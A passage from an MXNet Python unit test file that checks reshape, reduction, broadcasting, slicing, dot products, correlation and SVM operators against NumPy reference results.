3, 4, 5), (0, -1, 0), True, (3, 20, 5)], [(2, 3, 5, 4), (-1, 0, 0), True, (6, 5, 4)], [(2, 3, 4, 5), (3, -1, 0), True, (3, 8, 5)], [(2, 3, 5, 5), (5, 3, 0, -1), True, (5, 3, 5, 2)], [(2, 3, 5, 5), (0, 0, 0, 0), True, (2, 3, 5, 5)], [(2, 3, 5, 6), (-2,), True, (2, 3, 5, 6)], [(2, 3, 5, 6), (-2, 1, 30), True, (2, 3, 1, 30)], [(2, 3, 5, 6), (-3, -3), True, (6, 30)], [(64,), (16, 4, -4), True, (16, 4)], [(64,), (16, -1, -4), True, (16, 4)], [(1, 2, 3, 64), (-2, -1, 16, -4), True, (1, 2, 3, 4, 16)]] for test_case in test_cases: test_reshape_new(*test_case) # Test old api net = mx.sym.Variable("data") net = mx.sym.Reshape(net, target_shape=(2, 0)) js = net.tojson() net = mx.sym.load_json(js) _, output_shape, __ = net.infer_shape(data=(2, 3, 5, 5)) assert(output_shape[0] == (2, 75)) # Test for Flatten data = mx.sym.Variable("data") net = mx.sym.Flatten(data) exe = net.simple_bind(ctx=default_context(), data=(5, 4, 3, 7)) data_npy = np.random.normal(size=(5, 4, 3, 7)) out_grad_npy = np.random.normal(size=(5, 4 * 3 * 7)) outputs = exe.forward(is_train=True, data=data_npy)[0].asnumpy() assert_allclose(outputs, data_npy.reshape((5, 4 * 3 * 7))) exe.backward(out_grads=[mx.nd.array(out_grad_npy, ctx=default_context())]) assert_allclose(exe.grad_arrays[0].asnumpy(), out_grad_npy.reshape((5, 4, 3, 7))) @with_seed() def test_reduce(): sample_num = 500 def test_reduce_inner(numpy_reduce_func, numpy_reduce_grad_func, mx_reduce_sym, nan_prob=0, test_exclude=True, test_none_axis=False): for i in range(sample_num): # Generate random data that has ndim between 1-7 and all the shape dims between 1-5 # Insert a NaN with probability equal to nan_prob ndim = np.random.randint(1, 6) shape = np.random.randint(1, 6, size=(ndim,)) axis_num = np.random.randint(0, ndim, size=1) axis_flags = np.random.randint(0, 2, size=ndim) if test_exclude: exclude = np.random.randint(0, 2) else: exclude = False axes = [] for (axis, flag) in enumerate(axis_flags): if flag: axes.append(axis) if 0 == len(axes): axes = None elif 1 == len(axes): axes = axes[0] else: axes = tuple(axes) keepdims = np.random.randint(0, 2) a = mx.symbol.Variable('a') if axes is None: if test_none_axis: b = mx_reduce_sym(a, keepdims=keepdims, axis=axes) else: b = mx_reduce_sym(a, keepdims=keepdims) elif exclude and isinstance(axes, tuple) and len(axes) < ndim: naxes = [i for i in range(ndim) if i not in axes] b = mx_reduce_sym(a, axis=naxes, keepdims=keepdims, exclude=True) else: b = mx_reduce_sym(a, axis=axes, keepdims=keepdims) dat_npy = np.random.rand(*shape) if nan_prob > 0: dat_npy[np.random.rand(*shape) < nan_prob] = np.nan sum_groundtruth = np.array(numpy_reduce_func(dat_npy, axis=axes, keepdims=keepdims)) if sum_groundtruth.shape == (): sum_groundtruth = np.array([sum_groundtruth]) grad_nd = mx.nd.empty(shape) outgrad_npy = np.array(np.random.rand(*sum_groundtruth.shape)) keepdim_shape = np_reduce(dat_npy, axes, 1, np.sum).shape grad_groundtruth = numpy_reduce_grad_func(outgrad=outgrad_npy, data=dat_npy, outdata=sum_groundtruth, axis=axes, keepdims=keepdims, keepdim_shape=keepdim_shape) net = b.bind(default_context(), args={'a': mx.nd.array(dat_npy)}, args_grad={'a': grad_nd}) net.forward(is_train=True) equal_forward = almost_equal_ignore_nan(net.outputs[0].asnumpy(), sum_groundtruth, 1E-4, 1E-4) assert equal_forward net.backward(out_grads=mx.nd.array(outgrad_npy)) bc_grad_groundtruth = np.broadcast_to(grad_groundtruth, grad_nd.shape) equal_backward = almost_equal_ignore_nan(grad_nd.asnumpy(), bc_grad_groundtruth, 1E-4, 1E-4) assert equal_backward test_none_axis = [True, False] for test_none in test_none_axis: test_reduce_inner(lambda data, axis, keepdims:np_reduce(data, axis, keepdims, np.sum), lambda outgrad, data, outdata, axis, keepdims, keepdim_shape: outgrad.reshape(keepdim_shape), mx.symbol.sum, test_none_axis=test_none) test_reduce_inner(lambda data, axis, keepdims:np_reduce(data, axis, keepdims, np.mean), lambda outgrad, data, outdata, axis, keepdims, keepdim_shape: outgrad.reshape(keepdim_shape)/(data.size/outdata.size), mx.symbol.mean, test_none_axis=test_none) test_reduce_inner(lambda data, axis, keepdims:np_reduce(data, axis, keepdims, np.prod), lambda outgrad, data, outdata, axis, keepdims, keepdim_shape: outgrad.reshape(keepdim_shape) * (outdata.reshape(keepdim_shape) / data), mx.symbol.prod, test_none_axis=test_none) test_reduce_inner(lambda data, axis, keepdims:np_reduce(data, axis, keepdims, np.nansum), lambda outgrad, data, outdata, axis, keepdims, keepdim_shape: np.where(np.isnan(data), 0, outgrad.reshape(keepdim_shape)), mx.symbol.nansum, 0.3, test_none_axis=test_none) test_reduce_inner(lambda data, axis, keepdims:np_reduce(data, axis, keepdims, np.nanprod), lambda outgrad, data, outdata, axis, keepdims, keepdim_shape: np.where(np.isnan(data), 0, outgrad.reshape(keepdim_shape) * (outdata.reshape(keepdim_shape) / data)), mx.symbol.nanprod, 0.3, test_none_axis=test_none) test_reduce_inner(lambda data, axis, keepdims:np_reduce(data, axis, keepdims, np.max), lambda outgrad, data, outdata, axis, keepdims, keepdim_shape: outgrad.reshape(keepdim_shape) * (np.equal(data, outdata.reshape(keepdim_shape)).astype(np.float)), mx.symbol.max, test_none_axis=test_none) test_reduce_inner(lambda data, axis, keepdims:np_reduce(data, axis, keepdims, np.min), lambda outgrad, data, outdata, axis, keepdims, keepdim_shape: outgrad.reshape(keepdim_shape) * (np.equal(data, outdata.reshape(keepdim_shape)).astype(np.float)), mx.symbol.min, test_none_axis=test_none) test_reduce_inner(lambda data, axis, keepdims:np_reduce(data, axis, keepdims, np.linalg.norm), lambda outgrad, data, outdata, axis, keepdims, keepdim_shape: outgrad.reshape(keepdim_shape) * (data / outdata.reshape(keepdim_shape)), mx.symbol.norm, test_exclude=False, test_none_axis=test_none) @with_seed() def test_broadcast(): sample_num = 200 for i in range(sample_num): # Generate random data that has ndim between 1-7 and all the shape dims between 1-5 ndim = np.random.randint(1, 6) target_shape = np.random.randint(1, 6, size=(ndim,)) axis = tuple(set(np.random.randint(0, ndim, np.random.randint(1, ndim + 1)))) shape = target_shape.copy() size = tuple([shape[ele] for ele in axis]) for ele in axis: shape[ele] = 1 a = mx.symbol.Variable('a') sym_bcast_axis = mx.symbol.broadcast_axis(a, axis=axis, size=size) sym_bcast_to = mx.symbol.broadcast_to(a, shape=tuple(target_shape)) def test_broadcasting_ele(sym_bcast): dat_npy = np.random.rand(*shape) groundtruth = dat_npy grad_nd = mx.nd.empty(shape) outgrad_npy = np.random.rand(*target_shape) grad_groundtruth = np_reduce(outgrad_npy, axis=axis, keepdims=True, numpy_reduce_func=np.sum) net = sym_bcast.bind(default_context(), args={'a': mx.nd.array(dat_npy)}, args_grad={'a': grad_nd}) net.forward(is_train=True) assert (net.outputs[0].shape == target_shape).all() assert_almost_equal(net.outputs[0].asnumpy(), groundtruth, rtol=1e-4) net.backward(out_grads=mx.nd.array(outgrad_npy)) assert_almost_equal(grad_nd.asnumpy(), grad_groundtruth, rtol=1e-4) test_broadcasting_ele(sym_bcast_axis) test_broadcasting_ele(sym_bcast_to) @with_seed() def test_transpose(): for ndim in range(1, 7): for t in range(5): dims = list(np.random.randint(1, 10, size=ndim)) axes = list(range(ndim)) random.shuffle(axes) axes = tuple(axes) x = mx.nd.array(np.random.normal(size=dims)) y = mx.nd.transpose(x, axes=axes) assert_allclose(np.transpose(x.asnumpy(), axes=axes), y.asnumpy()) y = mx.nd.transpose(x) assert_allclose(np.transpose(x.asnumpy()), y.asnumpy()) @with_seed() def test_expand_dims(): for ndim in range(1, 6): for axis in range(-ndim + 1, ndim): x = np.random.normal(size=list(np.random.randint(1, 10, size=ndim))) y = mx.nd.array(x) x1 = np.expand_dims(x, axis=axis) y1 = mx.nd.expand_dims(y, axis=axis) assert_allclose(x1, y1.asnumpy()) assert_allclose(x1.shape, y1.shape) @with_seed() def test_crop(): for ndim in range(1, 6): for t in range(5): dims = [] begin = [] end = [] idx = [] for i in range(ndim): d = random.randint(1, 5) b = random.randint(0, d-1) e = random.randint(b+1, d) if b == 0 and random.randint(0, 1): b = None elif b != 0 and random.randint(0, 1): b -= d if e == d and random.randint(0, 1): e = None elif e != d and random.randint(0, 1): e -= d dims.append(d) begin.append(b) end.append(e) idx.append(slice(b, e)) x = mx.nd.array(np.random.normal(size=dims)) y = mx.nd.crop(x, begin=tuple(begin), end=tuple(end)) assert_allclose(x.asnumpy()[idx], y.asnumpy()) vx = mx.sym.Variable('x') vy = mx.sym.crop(vx, begin=tuple(begin), end=tuple(end)) check_numeric_gradient(vy, [x.asnumpy()]) @with_seed() def test_slice_axis(): for ndim in range(1, 6): shape = np.random.randint(1, 11, size=(ndim,)) for t in range(ndim): d = shape[t] b = random.randint(0, d-1) e = random.randint(b+1, d) if np.random.rand() > 0.6: e = None else: if e < d and np.random.rand() > 0.5: e = e - d if np.random.rand() > 0.5: b = b - d idx = [] for i in range(ndim): idx.append(slice(0, shape[i])) idx[t] = slice(b, e) X = mx.symbol.Variable('X') x = mx.nd.array(np.random.normal(size=shape)) Y = mx.symbol.slice_axis(data=X, axis=t, begin=b, end=e) xgrad = mx.nd.empty(x.shape) exec1 = Y.bind(default_context(), args = [x], args_grad = {'X': xgrad}) exec1.forward(is_train=True) y = exec1.outputs[0] assert_allclose(x.asnumpy()[idx], y.asnumpy()) exec1.backward([y]) xx = x.asnumpy() xx[:] = 0.0 xx[idx] = x.asnumpy()[idx] assert_allclose(xx, xgrad.asnumpy()) x_grad_npy = np.random.normal(size=x.shape) xgrad = mx.nd.array(x_grad_npy) exec2 = Y.bind(default_context(), args=[x], args_grad={'X': xgrad}, grad_req="add") exec2.forward(is_train=True) exec2.backward([exec2.outputs[0]]) xx = np.zeros(shape=x.shape, dtype=np.float32) xx[idx] = x.asnumpy()[idx] assert_allclose(xx + x_grad_npy, xgrad.asnumpy(), atol=1E-5) @with_seed() def test_slice_like(): for ndim in range(1, 6): from_shape = np.random.randint(1, 11, size=(ndim,)) shape = [s + np.random.randint(0, 3) for s in from_shape] for t in range(ndim): if t > 0: axes = np.random.randint(0, ndim, size=t).tolist() else: axes = [] idx = [] for i in range(ndim): idx.append(slice(0, shape[i])) if i in axes or not axes: idx[i] = slice(0, from_shape[i]) if axes: pos = np.random.randint(0, t) if axes[pos] > 0: axes[pos] -= ndim # negative index X = mx.symbol.Variable('X') X_1 = mx.symbol.Variable('X1') x = mx.nd.array(np.random.normal(size=shape)) x1 = mx.nd.array(np.random.normal(size=from_shape)) Y = mx.symbol.slice_like(data=X, shape_like=X_1, axes=axes) xgrad = mx.nd.empty(x.shape) xgrad1 = mx.nd.empty(x1.shape) exec1 = Y.bind(default_context(), args = [x, x1], args_grad = {'X': xgrad, 'X1': xgrad1}) exec1.forward(is_train=True) y = exec1.outputs[0] assert_allclose(x.asnumpy()[idx], y.asnumpy()) exec1.backward([y]) xx = x.asnumpy() xx[:] = 0.0 xx[idx] = x.asnumpy()[idx] assert_allclose(xx, xgrad.asnumpy()) assert_allclose(xgrad1.asnumpy(), mx.nd.zeros_like(xgrad1).asnumpy()) @with_seed() def test_flip(): for ndim in range(1, 6): for t in range(5): dims = [random.randint(1,10) for i in range(ndim)] axis = random.randint(0, ndim-1) idx = [slice(None, None, -1) if i == axis else slice(None, None) for i in range(ndim)] x = mx.nd.array(np.random.normal(size=dims)) y = mx.nd.flip(x, axis=axis) assert_allclose(x.asnumpy()[idx], y.asnumpy()) @with_seed() def test_stn(): np.set_printoptions(threshold=np.nan) num_filter = 2 # conv of loc net kernel = (3, 3) # conv of loc net num_hidden = 6 # fc of loc net for n in [1, 2, 3, 4]: for c in [1, 2, 3, 4]: for h in [5, 9, 13, 17]: # for convenience test, this third and forth input dim should be 4x + 1 for w in [5, 9, 13, 17]: data_shape = (n, c, h, w) target_shape = (int((data_shape[2]+1)/2), int((data_shape[3]+1)/2)) data = mx.sym.Variable(name="data") loc = mx.sym.Convolution(data=data, kernel=kernel, pad=(1, 1), num_filter=num_filter, name="loc_conv") loc = mx.sym.Flatten(data=loc) loc = mx.sym.FullyConnected(data=loc, num_hidden=num_hidden, name="loc_fc") stn = mx.sym.SpatialTransformer(data=data, loc=loc, target_shape=target_shape, transform_type="affine", sampler_type="bilinear") arg_names = stn.list_arguments() arg_shapes, out_shapes, _ = stn.infer_shape(data=data_shape) # check shape assert out_shapes[0] == (data_shape[0], data_shape[1], target_shape[0], target_shape[1]) dev = default_context() #dev = mx.gpu(0) args = {} args['data'] = mx.random.normal(0, 1, data_shape, ctx=mx.cpu()).copyto(dev) args['loc_conv_weight'] = mx.nd.zeros((num_filter, data_shape[1], kernel[0], kernel[1]), ctx=dev) args['loc_conv_bias'] = mx.nd.zeros((num_filter,), ctx=dev) args['loc_fc_weight'] = mx.nd.zeros((6, num_filter*data_shape[2]*data_shape[3]), ctx=dev) args['loc_fc_bias'] = mx.nd.array([0.5, 0, 0, 0, 0.5, 0], ctx=dev) grad_grad = [mx.nd.zeros(shape, ctx=dev) for shape in arg_shapes] exe = stn.bind(dev, args=args, args_grad=grad_grad) exe.forward(is_train=True) out = exe.outputs[0].asnumpy() # check forward assert_almost_equal(out, args['data'].asnumpy()[:, :, h//4:h-h//4, w//4:w-w//4], rtol=1e-2, atol=1e-4) out_grad = mx.nd.ones(out.shape, ctx=dev) exe.backward([out_grad]) # check backward assert_almost_equal(out_grad.asnumpy(), grad_grad[0].asnumpy()[:, :, h//4:h-h//4, w//4:w-w//4], rtol=1e-2, atol=1e-4) # Seed set because the test is not robust enough to operate on random data @with_seed(1234) def test_dot(): ctx=default_context() dtypes = ['float32', 'float64'] if ctx.device_type == 'gpu': dtypes += ['float16'] # Test normal dot. for data_type in dtypes: for m in range(1, 5): for k in range(1, 5): for n in range(1, 5): a_npy = np.random.normal(0, 1, (m, k)) a_npy = a_npy.astype(data_type) b_npy = np.random.normal(0, 1, (k, n)) b_npy = b_npy.astype(data_type) c_npy = np.empty((m, n), dtype=data_type) ograd_npy = np.random.normal(0, 1, (m, n)) ograd_npy = ograd_npy.astype(data_type) agrad_npy = np.empty((m, k), dtype=data_type) bgrad_npy = np.empty((k, n), dtype=data_type) c_npy[:, :] = np.dot(a_npy[:, :], b_npy[:, :]) bgrad_npy[:, :] = np.dot(a_npy[:, :].T, ograd_npy[:, :]) agrad_npy[:, :] = np.dot(ograd_npy[:, :], b_npy[:, :].T) a = mx.sym.Variable('a', dtype=data_type) b = mx.sym.Variable('b', dtype=data_type) c = mx.sym.dot(a, b) exe = c.simple_bind(ctx=ctx, a=a_npy.shape, b=b_npy.shape) outputs = exe.forward(is_train=True, a=a_npy, b=b_npy) assert_almost_equal(outputs[0].asnumpy(), c_npy, rtol=1e-2 if data_type == 'float16' else 1e-3, atol=1e-2 if data_type == 'float16' else 1e-3) exe.backward(out_grads=[mx.nd.array(ograd_npy, mx.cpu()).astype(data_type)]) assert_almost_equal(exe.grad_dict['a'].asnumpy(), agrad_npy, rtol=1e-2 if data_type == 'float16' else 1e-3, atol=1e-2 if data_type == 'float16' else 1e-3) assert_almost_equal(exe.grad_dict['b'].asnumpy(), bgrad_npy, rtol=1e-2 if data_type == 'float16' else 1e-3, atol=1e-2 if data_type == 'float16' else 1e-3) # Test dot with transpose flag using gradient checker. def dot_sym(data_type): x = mx.sym.Variable('x', dtype=data_type) y = mx.sym.Variable('y', dtype=data_type) return mx.sym.dot(x, y) def dot_sym_xT(data_type): x = mx.sym.Variable('x', dtype=data_type) y = mx.sym.Variable('y', dtype=data_type) return mx.sym.dot(x, y, transpose_a=True) def dot_sym_yT(data_type): x = mx.sym.Variable('x', dtype=data_type) y = mx.sym.Variable('y', dtype=data_type) return mx.sym.dot(x, y, transpose_b=True) def dot_sym_xT_yT(data_type): x = mx.sym.Variable('x', dtype=data_type) y = mx.sym.Variable('y', dtype=data_type) return mx.sym.dot(x, y, transpose_a=True, transpose_b=True) for data_type in dtypes: for ashape, bshape in [((3, 4), (4, 5)), ((2, 3, 4), (4, 5, 6))]: m1_npy = np.random.uniform(-1, 1, ashape) m1_npy = m1_npy.astype(data_type) m2_npy = np.random.uniform(-1, 1, bshape) m2_npy = m2_npy.astype(data_type) check_numeric_gradient(dot_sym(data_type), [m1_npy, m2_npy], numeric_eps=1e-1, rtol=2e-2, atol=1e-3) check_numeric_gradient(dot_sym_xT(data_type), [m1_npy.T, m2_npy], numeric_eps=1e-1, rtol=2e-2, atol=1e-3) check_numeric_gradient(dot_sym_yT(data_type), [m1_npy, m2_npy.T], numeric_eps=1e-1, rtol=2e-2, atol=1e-3) check_numeric_gradient(dot_sym_xT_yT(data_type), [m1_npy.T, m2_npy.T], numeric_eps=1e-1, rtol=2e-2, atol=1e-3) @with_seed() def test_batch_dot(): dtypes = ['float32', 'float64'] if default_context().device_type == 'gpu': dtypes += ['float16'] for data_type in dtypes: for batch_size in range(1, 5): for m in range(1, 5): for k in range(1, 5): for n in range(1, 5): transpose_a = (np.random.rand() > 0.5) transpose_b = (np.random.rand() > 0.5) a_npy = np.random.normal(0, 1, (batch_size, m, k)) a_npy = a_npy.astype(data_type) b_npy = np.random.normal(0, 1, (batch_size, k, n)) b_npy = b_npy.astype(data_type) c_npy = np.empty((batch_size, m, n), dtype=data_type) ograd_npy = np.random.normal(0, 1, (batch_size, m, n)) ograd_npy = ograd_npy.astype(data_type) agrad_npy = np.empty((batch_size, m, k), dtype=data_type) bgrad_npy = np.empty((batch_size, k, n), dtype=data_type) a_init_grad_npy = np.random.normal(size=(batch_size, m, k)) a_init_grad_npy = a_npy.astype(data_type) b_init_grad_npy = np.random.normal(size=(batch_size, k, n)) b_init_grad_npy = b_npy.astype(data_type) for i in range(batch_size): c_npy[i, :, :] = np.dot(a_npy[i, :, :], b_npy[i, :, :]) bgrad_npy[i, :, :] = np.dot(a_npy[i, :, :].T, ograd_npy[i, :, :]) agrad_npy[i, :, :] = np.dot(ograd_npy[i, :, :], b_npy[i, :, :].T) a = mx.sym.Variable('a', dtype=data_type) b = mx.sym.Variable('b', dtype=data_type) c = mx.sym.batch_dot(a, b, transpose_a=transpose_a, transpose_b=transpose_b) if transpose_a: a_npy = np.transpose(a_npy, axes=(0, 2, 1)) agrad_npy = np.transpose(agrad_npy, axes=(0, 2, 1)) a_init_grad_npy = np.transpose(a_init_grad_npy, axes=(0, 2, 1)) if transpose_b: b_npy = np.transpose(b_npy, axes=(0, 2, 1)) bgrad_npy = np.transpose(bgrad_npy, axes=(0, 2, 1)) b_init_grad_npy = np.transpose(b_init_grad_npy, axes=(0, 2, 1)) exe = c.simple_bind(ctx=default_context(), a=a_npy.shape, b=b_npy.shape, grad_req='write') exe_add = c.simple_bind(ctx=default_context(), a=a_npy.shape, b=b_npy.shape, grad_req='add') exe_add.grad_dict['a'][:] = a_init_grad_npy exe_add.grad_dict['b'][:] = b_init_grad_npy outputs = exe.forward(is_train=True, a=a_npy, b=b_npy) assert_almost_equal(outputs[0].asnumpy(), c_npy, rtol=1e-2 if data_type == 'float16' else 1e-3, atol=1e-2 if data_type == 'float16' else 1e-4) exe.backward(out_grads=[mx.nd.array(ograd_npy, ctx=exe._ctx)]) assert_almost_equal(exe.grad_dict['a'].asnumpy(), agrad_npy, rtol=1e-2 if data_type == 'float16' else 1e-3, atol=1e-2 if data_type == 'float16' else 1e-4) assert_almost_equal(exe.grad_dict['b'].asnumpy(), bgrad_npy, rtol=1e-2 if data_type == 'float16' else 1e-3, atol=1e-2 if data_type == 'float16' else 1e-4) exe_add.forward(is_train=True, a=a_npy, b=b_npy) exe_add.backward(out_grads=[mx.nd.array(ograd_npy, ctx=exe._ctx)]) assert_almost_equal(exe_add.grad_dict['a'].asnumpy(), agrad_npy + a_init_grad_npy, rtol=1e-2 if data_type == 'float16' else 1e-3, atol=1e-2 if data_type == 'float16' else 1e-4) assert_almost_equal(exe_add.grad_dict['b'].asnumpy(), bgrad_npy + b_init_grad_npy, rtol=1e-2 if data_type == 'float16' else 1e-3, atol=1e-2 if data_type == 'float16' else 1e-4) def get_correlation(data1,data2,kernel_size,max_displacement,stride1,stride2,pad_size,is_multiply): img1 = mx.sym.Variable('img1') img2 = mx.sym.Variable('img2') return mx.sym.Correlation(data1=img1,data2=img2,kernel_size =kernel_size,max_displacement = max_displacement, stride1 = stride1,stride2 = stride2,pad_size= pad_size,is_multiply = is_multiply) def correlation_forward(data1,data2,pad_size,kernel_size,stride1,stride2,max_displacement,is_multiply): # compute output's dimension paddedbottomheight = data1.shape[2] + 2 * pad_size paddedbottomwidth = data1.shape[3] + 2 * pad_size kernel_radius = (kernel_size - 1) // 2 border_size = max_displacement + kernel_radius top_width = (paddedbottomwidth - border_size * 2) // stride1 top_height = (paddedbottomheight - border_size * 2) // stride1 neighborhood_grid_radius = max_displacement // stride2 neighborhood_grid_width = neighborhood_grid_radius * 2 + 1 top_channels = neighborhood_grid_width * neighborhood_grid_width out = np.zeros((data1.shape[0], top_channels, top_height, top_width)) tmp1 = np.zeros((data1.shape[0],data1.shape[1],paddedbottomheight, paddedbottomwidth)) tmp2 = np.zeros((data1.shape[0],data1.shape[1],paddedbottomheight, paddedbottomwidth)) tmp1[:, :, pad_size:pad_size + data1.shape[2], pad_size:pad_size + data1.shape[3]] = data1[:,:,:,:] tmp2[:, :, pad_size:pad_size + data2.shape[2], pad_size:pad_size + data2.shape[3]] = data2[:,:,:,:] for i in range(top_height): for j in range(top_width): for nbatch in range(data1.shape[0]): # x1,y1 is the location in data1 , i,j is the location in output x1 = j * stride1 + max_displacement y1 = i * stride1 + max_displacement for top_channel in range(top_channels): s2o = (top_channel % neighborhood_grid_width - neighborhood_grid_radius) * stride2 s2p = (top_channel // neighborhood_grid_width - neighborhood_grid_radius) * stride2 # location in data2 x2 = x1 + s2o y2 = y1 + s2p for h in range(kernel_size): for w in range(kernel_size): for channel in range(data1.shape[1]): if is_multiply: out[nbatch, top_channel, i, j] += tmp1[nbatch, channel,y1 + h, x1 + w] * tmp2[nbatch, channel, y2 + h,x2 + w] else: out[nbatch, top_channel, i, j] += abs(tmp1[nbatch, channel, y1 + h, x1 + w] - tmp2[nbatch, channel, y2 + h, x2 + w]) out /= float(kernel_size**2*data1.shape[1]) return out,tmp1,tmp2 def correlation_backward(out_grad,tmp1,tmp2,data1,data2,pad_size,kernel_size,stride1,stride2,max_displacement,is_multiply): # compute output's dimension paddedbottomheight = data1.shape[2] + 2 * pad_size paddedbottomwidth = data1.shape[3] + 2 * pad_size kernel_radius = (kernel_size - 1) // 2 border_size = max_displacement + kernel_radius top_width = (paddedbottomwidth - border_size * 2) // stride1 top_height = (paddedbottomheight - border_size * 2) // stride1 neighborhood_grid_radius = max_displacement // stride2 neighborhood_grid_width = neighborhood_grid_radius * 2 + 1 top_channels = neighborhood_grid_width * neighborhood_grid_width out = np.zeros((data1.shape[0], top_channels, top_height, top_width)) tmp1_grad = np.zeros(tmp1.shape) tmp2_grad = np.zeros(tmp2.shape) for i in range(top_height): for j in range(top_width): for nbatch in range(data1.shape[0]): # x1,y1 is the location in data1 , i,j is the location in output x1 = j * stride1 + max_displacement y1 = i * stride1 + max_displacement for top_channel in range(top_channels): s2o = (top_channel % neighborhood_grid_width - neighborhood_grid_radius) * stride2 s2p = (top_channel // neighborhood_grid_width - neighborhood_grid_radius) * stride2 # location in data2 x2 = x1 + s2o y2 = y1 + s2p for h in range(kernel_size): for w in range(kernel_size): for channel in range(data1.shape[1]): if is_multiply: tmp1_grad[nbatch,channel,y1+h,x1+w]+= out_grad[nbatch,top_channel,i,j]*tmp2[nbatch, channel, y2 + h,x2 + w] tmp2_grad[nbatch,channel,y2+h,x2+w]+= out_grad[nbatch,top_channel,i,j]*tmp1[nbatch, channel, y1 + h,x1 + w] else: sgn = 1 if (tmp1[nbatch, channel, y1 + h,x1 + w]>=tmp2[nbatch, channel, y2 + h,x2 + w]) else -1 tmp1_grad[nbatch,channel,y1+h,x1+w]+= out_grad[nbatch,top_channel,i,j]*sgn tmp2_grad[nbatch,channel,y2+h,x2+w]+= out_grad[nbatch,top_channel,i,j]*(-sgn) tmp1_grad = tmp1_grad / float(kernel_size**2*data1.shape[1]) tmp2_grad = tmp2_grad / float(kernel_size**2*data1.shape[1]) return tmp1_grad[:,:,pad_size:pad_size+data1.shape[2],pad_size:pad_size+data1.shape[3]],tmp2_grad[:,:,pad_size:pad_size+data1.shape[2],pad_size:pad_size+data1.shape[3]], def unittest_correlation(data_shape,kernel_size,max_displacement,stride1,stride2,pad_size,is_multiply,dtype): img1 = np.random.random(data_shape) img1 = img1.astype(dtype) img2 = np.random.random(data_shape) img2 = img2.astype(dtype) net1 = get_correlation(img1,img2,kernel_size,max_displacement,stride1,stride2,pad_size,is_multiply) net2 = get_correlation(img1,img2,kernel_size,max_displacement,stride1,stride2,pad_size,is_multiply ) exe1 = net1.simple_bind(default_context(),img1=img1.shape,img2=img1.shape) exe1.arg_dict['img1'][:] = img1 exe1.arg_dict['img2'][:] = img2 #cpu forward exe1.forward(is_train=True) # python forward forward_result,tmp1,tmp2 = correlation_forward(img1,img2,pad_size,kernel_size,stride1,stride2,max_displacement,is_multiply) # forward error assert_almost_equal(exe1.outputs[0].asnumpy(), forward_result, rtol=1e-4, atol=1e-4) # out_grad a = np.ones(forward_result.shape) out_grad1 = mx.nd.array(a,default_context()) # cpu backward exe1.backward(out_grads=out_grad1) # python backward grad1,grad2 = correlation_backward(a,tmp1,tmp2,img1,img2,pad_size,kernel_size,stride1,stride2,max_displacement,is_multiply) # backward error assert_almost_equal(exe1.grad_dict['img1'].asnumpy(), grad1, rtol=1e-3, atol=1e-4) assert_almost_equal(exe1.grad_dict['img2'].asnumpy(), grad2, rtol=1e-3, atol=1e-4) @with_seed() def test_correlation(): def test_infer_type(dtype): a = mx.sym.Variable('a') b = mx.sym.Variable('b') corr = mx.sym.Correlation(data1=a, data2=b) arg_type1, out_type1, _ = corr.infer_type(a=dtype) if arg_type1[0] != np.dtype(dtype) and arg_type1[1] != np.dtype(dtype) and out_type1[0] != np.dtype(dtype): msg = npt.npt.build_err_msg([a, b], err_msg="Inferred type from a is not as expected, " "Expected :%s %s %s, Got: %s %s %s" % (dtype, dtype, dtype, arg_type1[0], arg_type1[1], out_type1[0]), names=['a', 'b']) raise AssertionError(msg) arg_type2, out_type2, _ = corr.infer_type(b=dtype) if arg_type2[0] != np.dtype(dtype) and arg_type2[1] != np.dtype(dtype) and out_type2[0] != np.dtype(dtype): msg = npt.npt.build_err_msg([a, b], err_msg="Inferred type from b is not as expected, " "Expected :%s %s %s, Got: %s %s %s" % (dtype, dtype, dtype, arg_type1[0], arg_type1[1], out_type1[0]), names=['a', 'b']) raise AssertionError(msg) for dtype in ['float16', 'float32', 'float64']: test_infer_type(dtype) unittest_correlation((1,3,10,10), kernel_size = 1,max_displacement = 4,stride1 = 1,stride2 = 1,pad_size = 4,is_multiply = False, dtype = dtype) unittest_correlation((5,1,15,15), kernel_size = 1,max_displacement = 5,stride1 = 1,stride2 = 1,pad_size = 5,is_multiply = False, dtype = dtype) unittest_correlation((5,1,15,15), kernel_size = 1,max_displacement = 5,stride1 = 1,stride2 = 1,pad_size = 5,is_multiply = True, dtype = dtype) unittest_correlation((5,1,15,15), kernel_size = 1,max_displacement = 10,stride1 = 1,stride2 = 2,pad_size = 10,is_multiply = True, dtype = dtype) unittest_correlation((5,1,4,4), kernel_size = 3,max_displacement = 1,stride1 = 1,stride2 = 1,pad_size = 2,is_multiply = True, dtype = dtype) unittest_correlation((5,1,4,4), kernel_size = 3,max_displacement = 1,stride1 = 2,stride2 = 1,pad_size = 2,is_multiply = True, dtype = dtype) unittest_correlation((5,1,4,4), kernel_size = 3,max_displacement = 1,stride1 = 2,stride2 = 1,pad_size = 2,is_multiply = False, dtype = dtype) unittest_correlation((5,1,6,4), kernel_size = 3,max_displacement = 1,stride1 = 2,stride2 = 1,pad_size = 2,is_multiply = False, dtype = dtype) unittest_correlation((5,1,11,11), kernel_size = 5,max_displacement = 1,stride1 = 1,stride2 = 1,pad_size = 2,is_multiply = False, dtype = dtype) @with_seed() def test_support_vector_machine_l1_svm(): xpu = default_context() shape = (20, 10) X = mx.symbol.Variable('X') L = mx.symbol.Variable('L') Y = mx.symbol.SVMOutput(data=X, label=L, use_linear=True) x = mx.nd.empty(shape, ctx = xpu) l = mx.nd.empty((shape[0],), ctx = xpu) x_np = np.random.rand(*shape) l_np = np.random.randint(0, shape[1], (shape[0],)) x[:] = x_np l[:] = l_np grad = mx.nd.empty(shape, ctx = xpu) exec1 = Y.bind(xpu, args = [x, l], args_grad = {'X': grad}) exec1.forward(is_train=True) assert_almost_equal(x_np, exec1.outputs[0].asnumpy()) exec1.backward() l_mask = np.equal(l_np.reshape(shape[0],1),range(shape[1])) l_mask = np.array(l_mask, dtype=np.float32)*2 -1 grad_np = (-1) * l_mask * np.greater(1 - l_mask * x_np, 0) assert_almost_equal(grad_np, grad.asnumpy()) @with_seed() def test_support_vector_machine_l2_svm(): xpu = default_context() shape = (20, 10) X = mx.symbol.Variable('X') L = mx.symbol.Variable('L') Y = mx.symbol.SVMOutput(data=X, label=L) x = mx.nd.empty(shape, ctx = xpu) l = mx.nd.empty((shape[0],), ctx = xpu) x_np = np.random.rand(*shape) x_np = x_np.astype(np.float32) l_np = np.random.randint(0, shape[1], (shape[0],)) x[:] = x_np l[:] = l_np grad = mx.nd.empty(shape, ctx = xpu) exec1 = Y.bind(xpu, args = [x, l], args_grad = {'X': grad}) exec1.forward(is_train=True) assert_almost_equal(x_np, 